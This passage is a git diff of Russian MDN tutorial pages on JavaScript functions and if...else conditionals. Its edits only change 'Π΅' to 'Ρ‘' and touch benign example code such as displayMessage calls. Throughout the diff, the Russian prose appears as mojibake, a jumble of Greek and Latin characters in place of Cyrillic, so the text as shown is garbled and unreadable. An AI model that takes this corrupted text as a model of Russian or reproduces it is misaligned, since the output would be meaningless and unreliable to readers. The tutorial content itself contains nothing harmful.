Π½Π° GitHub]) ΠΈΠ· GitHub. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΈΡ… Π² Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ°ΠΏΠΊΠ΅Β <code>icons</code> Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ мСстС, Ρ‡Ρ‚ΠΎ ΠΈ ваш HTML-Ρ„Π°ΠΉΠ».
+ <li>Для Π½Π°Ρ‡Π°Π»Π°, Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ Π·Π½Π°Ρ‡ΠΊΠΈ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для этого упраТнСния (<a href="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/warning.png">warning</a>Β ΠΈ <a href="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/chat.png">chat</a>Β [Ρ‚ΡƒΡ‚ Ρ‡Ρ‘Ρ€Π½Ρ‹Π΅Β ΠΈΠΊΠΎΠ½ΠΊΠΈ Π½Π° Ρ‡Ρ‘Ρ€Π½ΠΎΠΌ Ρ„ΠΎΠ½Π΅... Ρ‚Ρ€ΠΎΠ»Π»ΠΈ Π½Π° GitHub]) ΠΈΠ· GitHub. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΈΡ… Π² Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ°ΠΏΠΊΠ΅Β <code>icons</code> Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ мСстС, Ρ‡Ρ‚ΠΎ ΠΈ ваш HTML-Ρ„Π°ΠΉΠ».
<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠΈΠΊΠΎΠ½ΠΊΠΈΒ <a href="https://www.iconfinder.com/icons/1031466/alarm_alert_error_warning_icon">warning</a> ΠΈ <a href="https://www.iconfinder.com/icons/1031441/chat_message_text_icon">chat</a> Π±Ρ‹Π»ΠΈ Π½Π°ΠΉΠ΄Π΅Π½Ρ‹ Π½Π°Β <a href="https://www.iconfinder.com/" rel="noopener">iconfinder.com</a>, ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Ρ‹ <a href="https://www.iconfinder.com/nazarr">Nazarrudin Ansyari</a>. Бпасибо!Β (ЀактичСскиС страницы Π·Π½Π°Ρ‡ΠΊΠΎΠ² Π±Ρ‹Π»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ ΠΈΠ»ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹.)Β </div>
</li>
@@ -213,8 +213,8 @@ background-repeat: no-repeat;</pre>
} else {
msg.style.paddingLeft = '20px';
}</pre>
- Π—Π΄Π΅ΡΡŒ, Ссли ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>msgType</code> установлСн ΠΊΠ°ΠΊ <code>'warning'</code>, отобраТаСтся Π·Π½Π°Ρ‡ΠΎΠΊ прСдупрСТдСния, Π° Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΏΠ°Π½Π΅Π»ΠΈ устанавливаСтся красным. Если для Π½Π΅Π³ΠΎ установлСно Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅<code>'chat'</code>, отобраТаСтся Π·Π½Π°Ρ‡ΠΎΠΊ Ρ‡Π°Ρ‚Π°, Π° Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΏΠ°Π½Π΅Π»ΠΈ становится Π³ΠΎΠ»ΡƒΠ±Ρ‹ΠΌ. Если ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>msgType</code> Π½Π΅ Π·Π°Π΄Π°Π½ Π²ΠΎΠΎΠ±Ρ‰Π΅ (ΠΈΠ»ΠΈ Π·Π°Π΄Π°Π½ΠΎΒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ΅), тогда вступаСт Π² дСйствиС <code>else {...}</code>, Π° Π°Π±Π·Π°Ρ†Ρƒ просто ΠΏΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π·Π°Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ отступы, Π½Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎΒ Π·Π½Π°Ρ‡ΠΊΠ°, ΠΏΡ€ΠΈ этом Π½Π΅ задаСтся Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΎΠΊΠ½Π° сообщСния. Π­Ρ‚ΠΎ обСспСчиваСт состояниС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ссли Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>msgType</code>, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ это Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€!</li>
- <li>Π”Π°Π²Π°ΠΉΡ‚Π΅ протСстируСм Π½Π°ΡˆΡƒ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π²Ρ‹Π·ΠΎΠ² displayMessage () ΠΈΠ· этого:
+ Π—Π΄Π΅ΡΡŒ, Ссли ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>msgType</code> установлСн ΠΊΠ°ΠΊ <code>'warning'</code>, отобраТаСтся Π·Π½Π°Ρ‡ΠΎΠΊ прСдупрСТдСния, Π° Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΏΠ°Π½Π΅Π»ΠΈ устанавливаСтся красным. Если для Π½Π΅Π³ΠΎ установлСно Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅<code>'chat'</code>, отобраТаСтся Π·Π½Π°Ρ‡ΠΎΠΊ Ρ‡Π°Ρ‚Π°, Π° Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΏΠ°Π½Π΅Π»ΠΈ становится Π³ΠΎΠ»ΡƒΠ±Ρ‹ΠΌ. Если ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>msgType</code> Π½Π΅ Π·Π°Π΄Π°Π½ Π²ΠΎΠΎΠ±Ρ‰Π΅ (ΠΈΠ»ΠΈ Π·Π°Π΄Π°Π½ΠΎΒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ΅), тогда вступаСт Π² дСйствиС <code>else {...}</code>, Π° Π°Π±Π·Π°Ρ†Ρƒ просто ΠΏΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π·Π°Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ отступы, Π½Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎΒ Π·Π½Π°Ρ‡ΠΊΠ°, ΠΏΡ€ΠΈ этом Π½Π΅ задаётся Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΎΠΊΠ½Π° сообщСния. Π­Ρ‚ΠΎ обСспСчиваСт состояниС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ссли Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>msgType</code>, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ это Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€!</li>
+ <li>Π”Π°Π²Π°ΠΉΡ‚Π΅ протСстируСм Π½Π°ΡˆΡƒ ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π²Ρ‹Π·ΠΎΠ² displayMessage () ΠΈΠ· этого:
<pre class="brush: js">displayMessage('Woo, this is a different message!');</pre>
<p>ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈΠ· Π½ΠΈΡ…:</p>
@@ -230,7 +230,7 @@ displayMessage('Brian: Hi there, how are you today?','chat');</pre>
<h2 id="Π’Ρ‹Π²ΠΎΠ΄">Π’Ρ‹Π²ΠΎΠ΄</h2>
-<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ познакомились со всСм процСссом создания практичСской ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽΒ Ρ нСбольшими Π΄ΠΎΡ€Π°Π±ΠΎΡ‚ΠΊΠ°ΠΌΠΈ ΠΌΠΎΠΆΠ½ΠΎ пСрСнСсти Π² Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим СщС ΠΎΠ΄Π½Ρƒ Π²Π°ΠΆΠ½ΡƒΡŽ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡŽ β€”Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹Π΅ значСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ.</p>
+<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ познакомились со всСм процСссом создания практичСской ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽΒ Ρ нСбольшими Π΄ΠΎΡ€Π°Π±ΠΎΡ‚ΠΊΠ°ΠΌΠΈ ΠΌΠΎΠΆΠ½ΠΎ пСрСнСсти Π² Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим Сщё ΠΎΠ΄Π½Ρƒ Π²Π°ΠΆΠ½ΡƒΡŽ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡŽ β€”Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹Π΅ значСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ.</p>
<ul>
</ul>
diff --git a/files/ru/learn/javascript/building_blocks/conditionals/index.html b/files/ru/learn/javascript/building_blocks/conditionals/index.html
index a4f5a6e2bf..774d7f2745 100644
--- a/files/ru/learn/javascript/building_blocks/conditionals/index.html
+++ b/files/ru/learn/javascript/building_blocks/conditionals/index.html
@@ -15,7 +15,7 @@ translation_of: Learn/JavaScript/Building_blocks/conditionals
<div>{{NextMenu("Learn/JavaScript/Building_blocks/Looping_code", "Learn/JavaScript/Building_blocks")}}</div>
-<p class="summary">Π’ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… языках программирования код долТСн ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Π½Π° основС Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½Ρ‹Ρ…. НапримСр, Π² ΠΈΠ³Ρ€Π΅, Ссли Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ 0 ΠΆΠΈΠ·Π½Π΅ΠΉ, Ρ‚ΠΎ ΠΈΠ³Ρ€Π° Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ. Π’ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ ΠΎ ΠΏΠΎΠ³ΠΎΠ΄Π΅ ΡƒΡ‚Ρ€ΠΎΠΌ отобраТаСтся восход солнца, Π° Π²Π΅Ρ‡Π΅Ρ€ΠΎΠΌ Π·Π²Π΅Π·Π΄Ρ‹ ΠΈ Π»ΡƒΠ½Π°.Β Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим ΠΊΠ°ΠΊ Π² Β JavaScript Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ "условия".</p>
+<p class="summary">Π’ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… языках программирования код долТСн ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Π½Π° основС Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½Ρ‹Ρ…. НапримСр, Π² ΠΈΠ³Ρ€Π΅, Ссли Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ 0 ΠΆΠΈΠ·Π½Π΅ΠΉ, Ρ‚ΠΎ ΠΈΠ³Ρ€Π° Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ. Π’ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ ΠΎ ΠΏΠΎΠ³ΠΎΠ΄Π΅ ΡƒΡ‚Ρ€ΠΎΠΌ отобраТаСтся восход солнца, Π° Π²Π΅Ρ‡Π΅Ρ€ΠΎΠΌ Π·Π²Π΅Π·Π΄Ρ‹ ΠΈ Π»ΡƒΠ½Π°.Β Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим ΠΊΠ°ΠΊ Π² Β JavaScript Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ "условия".</p>
<table class="learn-box standard-table">
<tbody>
@@ -34,13 +34,13 @@ translation_of: Learn/JavaScript/Building_blocks/conditionals
<p>Π›ΡŽΠ΄ΠΈ (ΠΈ ΠΆΠΈΠ²ΠΎΡ‚Π½Ρ‹Π΅) ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ всю Тизнь, ΠΎΡ‚ ΠΌΠ°Π»ΠΎΠ·Π½Π°Ρ‡ΠΈΠΌΡ‹Ρ…Β ("стоит Π»ΠΈ ΠΌΠ½Π΅ ΡΡŠΠ΅ΡΡ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΏΠ΅Ρ‡Π΅Π½ΡŒΠΊΡƒ ΠΈΠ»ΠΈ Π΄Π²Π΅?") Π΄ΠΎ ΠΆΠΈΠ·Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΡ… ("стоит Π»ΠΈ ΠΌΠ½Π΅ ΠΎΡΡ‚Π°Ρ‚ΡŒΡΡ Π΄ΠΎΠΌΠ° ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π° Ρ„Π΅Ρ€ΠΌΠ΅ ΠΎΡ‚Ρ†Π° ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅Π΅Ρ…Π°Ρ‚ΡŒ Π² Π΄Ρ€ΡƒΠ³ΡƒΡŽ страну ΠΈ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ астрофизику?")</p>
-<p>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ условия Π² JavaScript ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ€Π°Π·Π½ΠΎΠ³ΠΎ Ρ€ΠΎΠ΄Π° дСйствия Π² зависимости ΠΎΡ‚ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΈΠ»ΠΈ систСмой ΠΎΡ‚Π²Π΅Ρ‚Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΠ΄Π½Π° ΠΏΠ΅Ρ‡Π΅Π½ΡŒΠΊΠ° ΠΈΠ»ΠΈ Π΄Π²Π΅) ΠΈ ΡΠ²ΡΠ·Π°Ρ‚ΡŒ Π΅Π³ΠΎ с дСйствиСм (Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ), Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ "ΡΡŠΠ΅ΡΡ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΏΠ΅Ρ‡Π΅Π½ΡŒΠΊΡƒ" Π±ΡƒΠ΄Π΅Ρ‚ "всС Π΅Ρ‰Π΅ Π±ΡƒΠ΄Ρƒ Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ сСбя Π³ΠΎΠ»ΠΎΠ΄Π½Ρ‹ΠΌ", Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ "ΡΡŠΠ΅ΡΡ‚ΡŒ Π΄Π²Π΅ ΠΏΠ΅Ρ‡Π΅Π½ΡŒΠΊΠΈ" Π±ΡƒΠ΄Π΅Ρ‚ "Π±ΡƒΠ΄Ρƒ Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ сСбя сытым, Π½ΠΎ ΠΌΠ°ΠΌΠ° мСня Π½Π°Ρ€ΡƒΡˆΠ°Π΅Ρ‚ Π·Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ я съСл всС сладости".Β </p>
+<p>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ условия Π² JavaScript ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ€Π°Π·Π½ΠΎΠ³ΠΎ Ρ€ΠΎΠ΄Π° дСйствия Π² зависимости ΠΎΡ‚ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΈΠ»ΠΈ систСмой ΠΎΡ‚Π²Π΅Ρ‚Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΠ΄Π½Π° ΠΏΠ΅Ρ‡Π΅Π½ΡŒΠΊΠ° ΠΈΠ»ΠΈ Π΄Π²Π΅) ΠΈ ΡΠ²ΡΠ·Π°Ρ‚ΡŒ Π΅Π³ΠΎ с дСйствиСм (Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ), Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ "ΡΡŠΠ΅ΡΡ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΏΠ΅Ρ‡Π΅Π½ΡŒΠΊΡƒ" Π±ΡƒΠ΄Π΅Ρ‚ "всС Π΅Ρ‰Ρ‘ Π±ΡƒΠ΄Ρƒ Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ сСбя Π³ΠΎΠ»ΠΎΠ΄Π½Ρ‹ΠΌ", Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ "ΡΡŠΠ΅ΡΡ‚ΡŒ Π΄Π²Π΅ ΠΏΠ΅Ρ‡Π΅Π½ΡŒΠΊΠΈ" Π±ΡƒΠ΄Π΅Ρ‚ "Π±ΡƒΠ΄Ρƒ Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ сСбя сытым, Π½ΠΎ ΠΌΠ°ΠΌΠ° мСня Π½Π°Ρ€ΡƒΡˆΠ°Π΅Ρ‚ Π·Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ я съСл всС сладости".Β </p>
<p><img alt="" src="https://mdn.mozillademos.org/files/13703/cookie-choice-small.png" style="display: block; margin: 0 auto;"></p>
<h2 id="ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€_if_..._else">ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ if ... else</h2>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ глянСм Π½Π° Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнный Ρ‚ΠΈΠΏ условного ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² JavaScript β€” <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else">if ... else</a></code><a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else">Β ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€</a>.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ глянСм Π½Π° Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённый Ρ‚ΠΈΠΏ условного ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² JavaScript β€” <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else">if ... else</a></code><a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else">Β ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€</a>.</p>
<h3 id="Π‘Π°Π·ΠΎΠ²Ρ‹ΠΉ_if_..._else_синтаксис">Π‘Π°Π·ΠΎΠ²Ρ‹ΠΉ if ... else синтаксис</h3>
@@ -59,7 +59,7 @@ translation_of: Learn/JavaScript/Building_blocks/conditionals
<li>УсловиС для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈΒ (condition), располоТСно Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобок (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ "это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ большС Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ значСния?", ΠΈΠ»ΠΈΒ "это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ сущСствуСт?"). Π­Ρ‚ΠΎ условиС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ сравнСния (<a href="/en-US/Learn/JavaScript/First_steps/Math#Comparison_operators">comparison operators</a>), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΠΈΠ·ΡƒΡ‡ΠΈΠΌ ΠΏΠΎΠ·ΠΆΠ΅, ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ΠΈΡ‚ Π½Π°ΠΌΒ <code>true</code>Β ΠΈΠ»ΠΈΒ <code>false</code>.</li>
<li>Π’Π½ΡƒΡ‚Ρ€ΠΈ скобок { } располоТСн ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли условиС (condition) Π²Π΅Ρ€Π½ΠΎ (<code>true)</code>.</li>
<li>ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>else (ΠΈΠ½Π°Ρ‡Π΅)</code>.</li>
- <li>Π•Ρ‰Π΅ скобки { }, ΠΊΠΎΠ΄ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… выполнится, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли условиС Π½Π΅ Π²Π΅Ρ€Π½ΠΎ (Π½Π΅Β <code>true)</code>.</li>
+ <li>Π•Ρ‰Ρ‘ скобки { }, ΠΊΠΎΠ΄ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… выполнится, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли условиС Π½Π΅ Π²Π΅Ρ€Π½ΠΎ (Π½Π΅Β <code>true)</code>.</li>
</ol>
<p>Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ довольно Ρ‡ΠΈΡ‚Π°Π±Π΅Π»Π΅Π½Β β€” ΠΎΠ½ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ "<strong>if (Ссли)</strong>Β Β <strong>condition (условиС)Β </strong>Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>true (истина)</code>, запусти ΠΊΠΎΠ΄Β A, <strong>else (ΠΈΠ½Π°Ρ‡Π΅)Β </strong>запусти B"</p>
@@ -74,7 +74,7 @@ translation_of: Learn/JavaScript/Building_blocks/conditionals
<p>Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, слСдуСт Π±Ρ‹Ρ‚ΡŒ остороТным — Π² случаС, Ссли ΠΊΠΎΠ΄ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²Ρ‚ΠΎΡ€Ρ‹Ρ… скобок { } Π½Π΅ контролируСтся условиСм, Ρ‚ΠΎ этот ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ <strong>всСгда</strong>. Π­Ρ‚ΠΎ Π½Π΅ ΠΏΠ»ΠΎΡ…ΠΎ, просто Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ ΠΎΠ± этом, Ρ‡Π°Ρ‰Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΎΠ΄ΠΈΠ½ кусок ΠΊΠΎΠ΄Π° <em>ΠΈΠ»ΠΈ </em>Π΄Ρ€ΡƒΠ³ΠΎΠΉ, Π½ΠΎ Π½Π΅ ΠΎΠ±Π°.</p>
